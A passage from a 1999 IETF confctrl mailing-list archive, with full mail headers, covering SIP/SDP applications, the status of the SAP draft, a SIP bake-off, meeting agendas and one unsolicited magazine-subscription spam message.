<BR><FONT FACE=3D"Times New Roman">May 10-11, 2000 - Las Vegas =
Conventions Center as&nbsp; part of&nbsp; the Networld+Interop'2000 =
Program</FONT>
<BR><FONT FACE=3D"Times New Roman">For the detailed call for papers and =
the program see:</FONT>
<BR><U><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Arial"><A =
HREF=3D"http://www.comsoc.org/confs/engconf/2000/EngConf.htm" =
TARGET=3D"_blank">http://www.comsoc.org/confs/engconf/2000/EngConf.htm</=
A></FONT></U>
</P>
<BR>

<P><FONT SIZE=3D2 FACE=3D"Arial">Paper Submission Deadline - December =
1, 1999</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">---------------------------------------------------------=
----------------------------------------------</FONT>
</P>
<BR>
<BR>
<BR>

</BODY>
</HTML>
------_=_NextPart_001_01BF10EE.803C8918--

From confctrl-owner  Thu Oct 14 16:54:32 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id QAA11061
	for confctrl-outgoing; Thu, 14 Oct 1999 16:54:32 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id QAA11056
	for <confctrl@zephyr.isi.edu>; Thu, 14 Oct 1999 16:54:31 -0700 (PDT)
Received: from mailgestao.intra.cet.pt (mailgestao.cet.pt [193.136.88.190])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id QAA03174
	for <confctrl@isi.edu>; Thu, 14 Oct 1999 16:54:30 -0700 (PDT)
Received: by mailgestao.intra.cet.pt with Internet Mail Service (5.5.2448.0)
	id <4782C663>; Fri, 15 Oct 1999 00:54:38 +0100
Message-ID: <B1B210576A25D211884200A024559FB71511B5@EXCHANGE_GERAL>
From: Jacinto Vieira <LVieira@ptinovacao.pt>
To: "'confctrl@isi.edu'" <confctrl@ISI.EDU>
Subject: SIP/SDP Aplications
Date: Fri, 15 Oct 1999 01:01:22 +0100
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2448.0)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Someone could  tell me  what are the Videoconferencing applications (or
telephone applications) SIP/SDP compliant. 

Thanks in advance

Luis Vieira

From confctrl-owner  Thu Oct 14 19:04:30 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id TAA18367
	for confctrl-outgoing; Thu, 14 Oct 1999 19:04:30 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id TAA18362
	for <confctrl@zephyr.isi.edu>; Thu, 14 Oct 1999 19:04:28 -0700 (PDT)
Received: from smtp-out2.bellatlantic.net (smtp-out2.bellatlantic.net [199.45.39.157])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id TAA13601
	for <confctrl@ISI.EDU>; Thu, 14 Oct 1999 19:04:27 -0700 (PDT)
Received: from cs.columbia.edu (adsl-151-198-20-48.bellatlantic.net [151.198.20.48])
	by smtp-out2.bellatlantic.net (8.9.1/8.9.1) with ESMTP id WAA12779;
	Thu, 14 Oct 1999 22:09:24 -0400 (EDT)
Message-ID: <38068BDF.F0B8AEE@cs.columbia.edu>
Date: Thu, 14 Oct 1999 22:05:19 -0400
From: Henning Schulzrinne <hgs@cs.columbia.edu>
Organization: Columbia University
X-Mailer: Mozilla 4.5 [en]C-CCK-MCD BA45DSL  (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Jacinto Vieira <LVieira@ptinovacao.pt>
CC: "'confctrl@isi.edu'" <confctrl@ISI.EDU>
Subject: Re: SIP/SDP Aplications
References: <B1B210576A25D211884200A024559FB71511B5@EXCHANGE_GERAL>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

See http://www.cs.columbia.edu/sip for SIP-related information;
SDP-compliant applications include sdr, Cisco IP/TV, multikit and
others. See, inter alia,
http://www.cs.unc.edu/~wangx/MBONE/mbonetoolarchive.html

Jacinto Vieira wrote:
> 
> Someone could  tell me  what are the Videoconferencing applications (or
> telephone applications) SIP/SDP compliant.
> 
> Thanks in advance
> 
> Luis Vieira

From confctrl-owner  Fri Oct 15 05:32:11 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id FAA10358
	for confctrl-outgoing; Fri, 15 Oct 1999 05:32:11 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id FAA10353
	for <confctrl@zephyr.isi.edu>; Fri, 15 Oct 1999 05:32:09 -0700 (PDT)
Received: from s2.smtp.oleane.net (s2.smtp.oleane.net [195.25.12.6])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id FAA11295
	for <confctrl@isi.edu>; Fri, 15 Oct 1999 05:32:08 -0700 (PDT)
Received: from Dell  (dyn-1-1-255.Cor.dialup.oleane.fr [62.161.8.255])  by s2.smtp.oleane.net  with SMTP id OAA94040; Fri, 15 Oct 1999 14:31:59 +0200 (CEST)
Message-ID: <009301bf1709$3c240000$0701a8c0@oleane.com>
From: "Peter Lewis" <peter.lewis@upperside.fr>
To: <Undisclosed-Recipient:@s2.smtp.oleane.net;>
Subject: Media Gateway Control Conference
Date: Fri, 15 Oct 1999 14:30:50 +0200
Organization: Upperside
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0088_01BF1719.E0D5EA40"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2314.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_0088_01BF1719.E0D5EA40
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

MGCP, Megaco, H.248: performing seamless interoperation between IP and =
PSTN
networks. The international rendez-vous in Paris, 15-17 December 1999.

More infos:=20
http://www.upperside.fr/bamgc.htm


------=_NextPart_000_0088_01BF1719.E0D5EA40
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2314.1000" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV>
<DIV><FONT size=3D3>MGCP, Megaco, H.248: performing seamless =
interoperation=20
between IP and PSTN<BR>networks. The international rendez-vous in Paris, =
15-17=20
December 1999.<BR><BR>More infos: </FONT></DIV>
<DIV><FONT color=3D#800080 size=3D3><A=20
href=3D"http://www.upperside.fr/bamgc.htm">http://www.upperside.fr/bamgc.=
htm</A></FONT></DIV></DIV>
<DIV>&nbsp;</DIV></BODY></HTML>

------=_NextPart_000_0088_01BF1719.E0D5EA40--


From confctrl-owner  Fri Oct 15 08:03:28 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA16900
	for confctrl-outgoing; Fri, 15 Oct 1999 08:03:28 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA16895
	for <confctrl@zephyr.isi.edu>; Fri, 15 Oct 1999 08:03:25 -0700 (PDT)
Received: from mailman.cisco.com (mailman.cisco.com [171.68.225.9])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA28216
	for <confctrl@isi.edu>; Fri, 15 Oct 1999 08:03:24 -0700 (PDT)
Received: from chsharp-tecra (chsharp-isdn.cisco.com [171.68.116.221]) by mailman.cisco.com (8.8.8+Sun/CISCO.SERVER.1.2) with ESMTP id IAA28311 for <confctrl@isi.edu>; Fri, 15 Oct 1999 08:02:53 -0700 (PDT)
Message-Id: <4.2.0.58.19991015105041.00a1e750@dogwood.cisco.com>
X-Sender: chsharp@dogwood.cisco.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 
Date: Fri, 15 Oct 1999 11:02:19 -0400
To: confctrl@ISI.EDU
From: Chip Sharp <chsharp@cisco.com>
Subject: SAP Status
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

What is the status of SAP?

SIP references an out-of-print and unavailable I-D (almost 3 years old) for 
SAP.  SDP references an indeterminate work in progress.  The latest SAP 
draft says it is Version 2 of SAP.  Version 1 doesn't seem to exist in 
either the RFCs or I-D directories.

Is there any plans to ever publish this as an RFC?

Meanwhile, the SIP and SDP RFCs need to be updated with the correct 
references at some point.

Chip
Support NetAid!  http://www.netaid.org
--------------------------------------------------
Chip Sharp                 Consulting Engineering
Cisco Systems              Telco Bio-region
Reality - Love it or Leave it.			
--------------------------------------------------

From confctrl-owner  Fri Oct 15 08:15:30 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA17425
	for confctrl-outgoing; Fri, 15 Oct 1999 08:15:30 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA17419
	for <confctrl@zephyr.isi.edu>; Fri, 15 Oct 1999 08:15:27 -0700 (PDT)
Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id IAA29089
	for <confctrl@ISI.EDU>; Fri, 15 Oct 1999 08:15:26 -0700 (PDT)
Received: from eucharisto.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.04188-0@bells.cs.ucl.ac.uk>; Fri, 15 Oct 1999 16:15:20 +0100
To: Chip Sharp <chsharp@cisco.com>
cc: confctrl@ISI.EDU
Subject: Re: SAP Status
In-reply-to: Your message of "Fri, 15 Oct 1999 11:02:19 EDT." <4.2.0.58.19991015105041.00a1e750@dogwood.cisco.com>
Date: Fri, 15 Oct 1999 16:15:19 +0100
Message-ID: <2946.940000519@cs.ucl.ac.uk>
From: Colin Perkins <C.Perkins@cs.ucl.ac.uk>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--> Chip Sharp writes:
>What is the status of SAP?
>
>SIP references an out-of-print and unavailable I-D (almost 3 years old) for 
>SAP.  SDP references an indeterminate work in progress.  The latest SAP 
>draft says it is Version 2 of SAP.  Version 1 doesn't seem to exist in 
>either the RFCs or I-D directories.
>
>Is there any plans to ever publish this as an RFC?

Yes. The current version 2 spec is backwards compatible with version 1, and
I hope to get it published as an RFC "real soon now". I have a new version
of the draft coming in time for the November meeting (which removes the
directory session stuff, since Ross and I can't agree on how to do it),
but is otherwise unchanged from the current draft. 

If there are no other comments, I don't see why we can't go to an RFC with
the next version.

Colin

From confctrl-owner  Tue Oct 19 17:59:14 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id RAA20428
	for confctrl-outgoing; Tue, 19 Oct 1999 17:59:14 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id RAA20422
	for <confctrl@zephyr.isi.edu>; Tue, 19 Oct 1999 17:59:13 -0700 (PDT)
Received: from kingdom.soongsil.ac.kr (kingdom.ssu.ac.kr [203.253.25.98])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id RAA04007
	for <confctrl@ISI.EDU>; Tue, 19 Oct 1999 17:59:11 -0700 (PDT)
Received: from ganet89 (ganet89.ssu.ac.kr [203.253.25.73])
	by kingdom.soongsil.ac.kr (8.9.3/8.9.3) with SMTP id JAA05086
	for <confctrl@ISI.EDU>; Wed, 20 Oct 1999 09:48:23 +0900 (KST)
Message-ID: <001d01bf1a96$5d4ff140$4919fdcb@soongsil.ac.kr>
From: =?ks_c_5601-1987?B?seix4r+1?= <ganet89@kingdom.soongsil.ac.kr>
To: <confctrl@ISI.EDU>
Date: Wed, 20 Oct 1999 09:59:29 +0900
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_001A_01BF1AE1.CCC21B20"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2314.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_001A_01BF1AE1.CCC21B20
Content-Type: text/plain;
	charset="ks_c_5601-1987"
Content-Transfer-Encoding: base64

c3Vic2NyaWJlDQo=

------=_NextPart_000_001A_01BF1AE1.CCC21B20
Content-Type: text/html;
	charset="ks_c_5601-1987"
Content-Transfer-Encoding: base64

PCFET0NUWVBFIEhUTUwgUFVCTElDICItLy9XM0MvL0RURCBIVE1MIDQuMCBUcmFuc2l0aW9uYWwv
L0VOIj4NCjxIVE1MPjxIRUFEPg0KPE1FVEEgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PWtz
X2NfNTYwMS0xOTg3IiBodHRwLWVxdWl2PUNvbnRlbnQtVHlwZT4NCjxNRVRBIGNvbnRlbnQ9Ik1T
SFRNTCA1LjAwLjI2MTQuMzQwMSIgbmFtZT1HRU5FUkFUT1I+DQo8U1RZTEU+PC9TVFlMRT4NCjwv
SEVBRD4NCjxCT0RZIGJnQ29sb3I9I2ZmZmZmZj4NCjxESVY+PEZPTlQgc2l6ZT0yPnN1YnNjcmli
ZTwvRk9OVD48L0RJVj48L0JPRFk+PC9IVE1MPg0K

------=_NextPart_000_001A_01BF1AE1.CCC21B20--


From confctrl-owner  Wed Oct 20 09:28:59 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA16220
	for confctrl-outgoing; Wed, 20 Oct 1999 09:28:59 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA16215
	for <confctrl@zephyr.isi.edu>; Wed, 20 Oct 1999 09:28:57 -0700 (PDT)
Received: from gwu.ericy.com (gwu.ericy.com [208.196.3.162])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA24112
	for <confctrl@isi.edu>; Wed, 20 Oct 1999 09:28:56 -0700 (PDT)
Received: from mr4.exu.ericsson.se (mr4u.ericy.com [208.238.116.99])
	by gwu.ericy.com (8.9.3/8.9.3) with ESMTP id LAA06204;
	Wed, 20 Oct 1999 11:27:40 -0500 (CDT)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.10.50])
	by mr4.exu.ericsson.se (8.9.3/8.9.3) with ESMTP id LAA29360;
	Wed, 20 Oct 1999 11:27:39 -0500 (CDT)
Received: from qpop.exu.ericsson.se (qpop [138.85.1.15]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id LAA01203; Wed, 20 Oct 1999 11:27:36 -0500 (CDT)
Received: from ericsson.com (pc195075.exu.ericsson.se [138.85.195.75])
	by qpop.exu.ericsson.se (8.9.1/8.9.1) with ESMTP id LAA08032;
	Wed, 20 Oct 1999 11:27:34 -0500 (CDT)
Message-ID: <380D7CDF.E682A550@ericsson.com>
Date: Wed, 20 Oct 1999 11:27:11 +0300
From: Ulf Andersson <ulf.andersson@ericsson.com>
Organization: EUS/GT/A
X-Mailer: Mozilla 4.04 [en] (Win95; I)
MIME-Version: 1.0
To: sip@lists.research.bell-labs.com, ensc-tia@sfu.ca,
        sip-implementors@cs.columbia.edu, confctrl@ISI.EDU,
        iptel@lists.research.bell-labs.com, eriietf@kk.ericsson.se
Subject: 3rd SIP Bake-Off
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hello!

The third SIP bake-off will be hosted by Ericsson in Dallas, Texas,
December 6-8, 1999.

For information and registration please visit http://www.sipbakeoff.org.

The deadline for requesting special equipment and connections is October
30th. The deadline
for general registration is November 15th.

Please note that the bake-off is open only to implementors with working
SIP implementations. It
is not a trade show, public demonstration, conference or workshop, and
individual results of all
testing will remain confidential. A press release will be prepared at
the end of the event to
announce the results.

Welcome!


Ulf Andersson
Ericsson Inc
ulf.andersson@ericsson.com
(972) 583-7537



From confctrl-owner  Thu Oct 21 07:06:03 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA08833
	for confctrl-outgoing; Thu, 21 Oct 1999 07:06:03 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA08828
	for <confctrl@zephyr.isi.edu>; Thu, 21 Oct 1999 07:06:01 -0700 (PDT)
Received: from bettina.informatik.uni-bremen.de (bettina.informatik.uni-bremen.de [134.102.224.3])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA09940
	for <confctrl@isi.edu>; Thu, 21 Oct 1999 07:05:55 -0700 (PDT)
Received: from klobs.informatik.uni-bremen.de (ruin.informatik.uni-bremen.de [134.102.224.52])
	by bettina.informatik.uni-bremen.de (8.8.7/8.8.7) with SMTP id QAA17254
	for <confctrl@isi.edu>; Thu, 21 Oct 1999 16:05:49 +0200 (MET DST)
Message-Id: <Version.32.19991021152800.00fc6270@127.0.0.1>
X-Sender: jo@127.0.0.1
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0
Date: Thu, 21 Oct 1999 16:00:58 +0200
To: confctrl@ISI.EDU
From: Joerg Ott <jo@tzi.uni-bremen.de>
Subject: MMUSIC Agenda for Washington DC
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Folks,

we have scheduled one slot for MMUSIC at the next IETF:

    Thursday, 1530-1730  

I'd like to solicit input on the agenda; please send requests for
slots directly to me.  Note that SIP issues are dealt with in the newly
formed SIP working group.

Thanks,
Joerg




From confctrl-owner  Thu Oct 21 16:06:59 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id QAA01955
	for confctrl-outgoing; Thu, 21 Oct 1999 16:06:59 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id QAA01950
	for <confctrl@zephyr.isi.edu>; Thu, 21 Oct 1999 16:06:58 -0700 (PDT)
Received: from omzrelay03.mcit.com (omzrelay03.mcit.com [199.249.19.245])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id QAA04215
	for <confctrl@ISI.EDU>; Thu, 21 Oct 1999 16:06:57 -0700 (PDT)
Received: from omzrelay.mcit.com ([166.37.204.49])
 by firewall.mcit.com (PMDF V5.2-32 #38418)
 with ESMTP id <0FJZ000K75FML0@firewall.mcit.com> for confctrl@ISI.EDU; Thu,
 21 Oct 1999 22:35:47 +0000 (GMT)
Received: from omzmta04.mcit.com (omzmta04.mcit.com [166.37.194.122])
 by omzrelay.mcit.com (8.8.7/) with ESMTP	id WAA31150; Thu,
 21 Oct 1999 22:35:44 +0000 (GMT)
Received: from dwillis2 ([166.35.149.222])
 by omzmta04.mcit.com (InterMail v03.02.05 118 121 101)
 with SMTP id <19991021223532.LJI25763@dwillis2>; Thu,
 21 Oct 1999 22:35:32 +0000
Date: Thu, 21 Oct 1999 17:37:37 -0500
From: Dean Willis <dean.willis@wcom.com>
Subject: SIP Working Group Interim Meeting November 7 at IETF Site
To: IETF SIP <sip@lists.research.bell-labs.com>
Cc: IETF Pint <pint@lists.research.bell-labs.com>,
        IETF Confctrl <confctrl@ISI.EDU>,
        IETF-Owner-Iptel <owner-iptel@lists.research.bell-labs.com>
Message-id: <000801bf1c14$e055b460$de9523a6@directlink.net>
MIME-version: 1.0
X-MIMEOLE: Produced By Microsoft MimeOLE V5.00.2615.200
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0
Content-type: text/plain;	charset="iso-8859-1"
Content-transfer-encoding: 7bit
Importance: Normal
X-Priority: 3 (Normal)
X-MSMail-priority: Normal
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


There will be an interim meeting of the SIP Working Group on Sunday,
November 7 1999 from 10:00 AM to 7:00 PM. This is the day before the fall
IETF meeting in DC. If we wrap early there may be some snacks left at the
Sunday social.

We currently plan to meet in the Olympia room of the Omni Shoreham Hotel.
This is the hotel hosting the IETF meeting for the remainder of the week.
The agenda people claim the room will support upwards of 100 attendees.

The purpose of the interim meeting is to familiarize the SIP working group
with the PacketCable DCS specification efforts, which also use SIP. The goal
is to promote the completeness and interoperability of the SIP
specification.

The current agenda is:

10:00 to 11:15: DCS presentation
11:15 to 11:30: Break
11:30 to 12:45: DCS presentation
12:45 to 14:15: Lunch (not provide, brown bag or go out)
14:15 to 15:30: DCS presentation
15:30 to 15:45: Break
15:45 to 17:00; Discussion
17:00 to 17:15: Break
17:15 to 19:00: Discussion (refreshments smuggled from social room?)

During the DCS presentations, we hope to focus on the design rationale of
the PacketCable DCS aproach rather than on exploring alernatives. In other
words, questions should be confined to "what" and "why" rather than "why
not". The moderator will be ruthless -- there's a lot of material to cover.
Please hold on discussion of alternatives until the "Discussion" periods.
Thanks.

I'm personally planning to arrive in DC on Saturday. Others may be able to
travel early on Sunday. I think this meeting provides a tremendous
opportunity to move the entire industy forward. I hope to see you all there!

--
Dean Willis
SIP WG co-chair



From confctrl-owner  Thu Oct 21 16:13:43 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id QAA02119
	for confctrl-outgoing; Thu, 21 Oct 1999 16:13:43 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id QAA02114
	for <confctrl@zephyr.isi.edu>; Thu, 21 Oct 1999 16:13:42 -0700 (PDT)
Received: from ns.fmmo.ca (fm-listproc@www.fmmo.ca [207.253.160.156])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id QAA04900
	for <confctrl@ISI.EDU>; Thu, 21 Oct 1999 16:13:41 -0700 (PDT)
Received: from localhost (fm-listproc@localhost)
	by ns.fmmo.ca (8.9.3/8.9.3) with ESMTP id SAA24922;
	Thu, 21 Oct 1999 18:31:02 -0400
Date: Thu, 21 Oct 1999 18:31:01 -0400 (EDT)
From: Francois Menard List Account <fm-listproc@fmmo.ca>
To: Dean Willis <dean.willis@wcom.com>
cc: IETF SIP <sip@lists.research.bell-labs.com>,
        IETF Pint <pint@lists.research.bell-labs.com>,
        IETF Confctrl <confctrl@ISI.EDU>,
        IETF-Owner-Iptel <owner-iptel@lists.research.bell-labs.com>
Subject: Re: SIP Working Group Interim Meeting November 7 at IETF Site
In-Reply-To: <000801bf1c14$e055b460$de9523a6@directlink.net>
Message-ID: <Pine.LNX.4.20.9910211828380.24845-100000@ns.fmmo.ca>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Will the working-group be allowed to challenge the rationale of
their Dual-Invite concept, for the long-term sanity of SIP ?

And that is not even starting down on the wet slope of the Cookie concept.

-=Francois=-

On Thu, 21 Oct 1999, Dean Willis wrote:

> 
> There will be an interim meeting of the SIP Working Group on Sunday,
> November 7 1999 from 10:00 AM to 7:00 PM. This is the day before the fall
> IETF meeting in DC. If we wrap early there may be some snacks left at the
> Sunday social.
> 
> We currently plan to meet in the Olympia room of the Omni Shoreham Hotel.
> This is the hotel hosting the IETF meeting for the remainder of the week.
> The agenda people claim the room will support upwards of 100 attendees.
> 
> The purpose of the interim meeting is to familiarize the SIP working group
> with the PacketCable DCS specification efforts, which also use SIP. The goal
> is to promote the completeness and interoperability of the SIP
> specification.
> 
> The current agenda is:
> 
> 10:00 to 11:15: DCS presentation
> 11:15 to 11:30: Break
> 11:30 to 12:45: DCS presentation
> 12:45 to 14:15: Lunch (not provide, brown bag or go out)
> 14:15 to 15:30: DCS presentation
> 15:30 to 15:45: Break
> 15:45 to 17:00; Discussion
> 17:00 to 17:15: Break
> 17:15 to 19:00: Discussion (refreshments smuggled from social room?)
> 
> During the DCS presentations, we hope to focus on the design rationale of
> the PacketCable DCS aproach rather than on exploring alernatives. In other
> words, questions should be confined to "what" and "why" rather than "why
> not". The moderator will be ruthless -- there's a lot of material to cover.
> Please hold on discussion of alternatives until the "Discussion" periods.
> Thanks.
> 
> I'm personally planning to arrive in DC on Saturday. Others may be able to
> travel early on Sunday. I think this meeting provides a tremendous
> opportunity to move the entire industy forward. I hope to see you all there!
> 
> --
> Dean Willis
> SIP WG co-chair
> 
> 
> 


From confctrl-owner  Fri Oct 22 10:14:31 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id KAA03032
	for confctrl-outgoing; Fri, 22 Oct 1999 10:14:31 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id KAA03027
	for <confctrl@zephyr.isi.edu>; Fri, 22 Oct 1999 10:14:30 -0700 (PDT)
Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id KAA05898
	for <confctrl@ISI.EDU>; Fri, 22 Oct 1999 10:14:27 -0700 (PDT)
Received: from eucharisto.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.17935-0@bells.cs.ucl.ac.uk>; Fri, 22 Oct 1999 18:04:28 +0100
To: Chip Sharp <chsharp@cisco.com>, confctrl@ISI.EDU
Subject: Re: SAP Status
In-reply-to: Your message of "Fri, 15 Oct 1999 16:15:19 BST." <2946.940000519@cs.ucl.ac.uk>
Date: Fri, 22 Oct 1999 18:04:26 +0100
Message-ID: <2814.940611866@cs.ucl.ac.uk>
From: Colin Perkins <C.Perkins@cs.ucl.ac.uk>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--> Colin Perkins writes:
>--> Chip Sharp writes:
>>What is the status of SAP?
>>
>>SIP references an out-of-print and unavailable I-D (almost 3 years old) for 
>>SAP.  SDP references an indeterminate work in progress.  The latest SAP 
>>draft says it is Version 2 of SAP.  Version 1 doesn't seem to exist in 
>>either the RFCs or I-D directories.
>>
>>Is there any plans to ever publish this as an RFC?
>
>Yes. The current version 2 spec is backwards compatible with version 1, and
>I hope to get it published as an RFC "real soon now". I have a new version
>of the draft coming in time for the November meeting (which removes the
>directory session stuff, since Ross and I can't agree on how to do it),
>but is otherwise unchanged from the current draft. 

This has just been submitted, and will appear in the archives shortly.
Until then you can get a copy from
http://www.cs.ucl.ac.uk/staff/c.perkins/internet-drafts/draft-ietf-mmusic-sap-v2-03.txt

Comments are appreciated!

Cheers,
Colin

From confctrl-owner  Sat Oct 23 02:10:50 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id CAA29624
	for confctrl-outgoing; Sat, 23 Oct 1999 02:10:50 -0700 (PDT)
Received: from boreas.isi.edu (boreas.isi.edu [128.9.160.161])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id CAA29619
	for <confctrl@zephyr.isi.edu>; Sat, 23 Oct 1999 02:10:49 -0700 (PDT)
Received: from surfree.com (dialup-209.246.89.167.NewYork2.Level3.net [209.246.89.167])
	by boreas.isi.edu (8.8.7/8.8.6) with SMTP id CAA09627
	for <confctrl@zephyr.isi.edu>; Sat, 23 Oct 1999 02:10:41 -0700 (PDT)
Date: Sat, 23 Oct 1999 05:08:27 -0400
From: "Tempting Tear-Outs" <temptear@surfree.com>
Message-ID: <B436F34B.FF240@[209.246.89.167]>
To: =?ISO-8859-1?Q?=9D=A1?= <confctrl@ISI.EDU>
Subject: FREE* 1 yr USA Magazine Sub sent worldwide-200+ Choices
MIME-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

===>> FREE* 1 yr USA Magazine Sub sent worldwide-200+ Choices!  Up to
$81.00 value!   (*with your first purchase of any size of any new or
renewal subscription;  customers living overseas pay only for FPH (foreign
postage & handling) on the free subscription).


To be removed from our mailing list, please see instructions at the end of
this message.


FOR MORE INFO:   please "cut out" the below form on the "cut" lines shown,
and fax it, for the fastest reply to either our USA or United Kingdom fax
numbers:            
                                     1-602-294-5643   (fax # in the USA)
                                                         OR FAX US AT
                                     44-7050-696528   (fax # in the United
Kingdom)

or send via smail (first class mail or airmail) to:    
                              Tempting Tear-Outs / Att.
Free-catalogue-by-email Dept
                               PMB 200
                               3835 Richmond Ave.  
                               Staten Island NY  10312-3828
                               USA

SORRY, BUT.... our software is not set up to accept the below form via
return email;   WE CAN ONLY acknowledge forms sent in via fax or smail.

--> IMPORTANT complete directions, to ensure that you get a reply, and more
info follow, below the reply form and the catalogue options.


*------------cut here/begin-------------------------------------------*

Name (First Middle Last):
Internet email address:
Smail home address:
City-State-Zip:
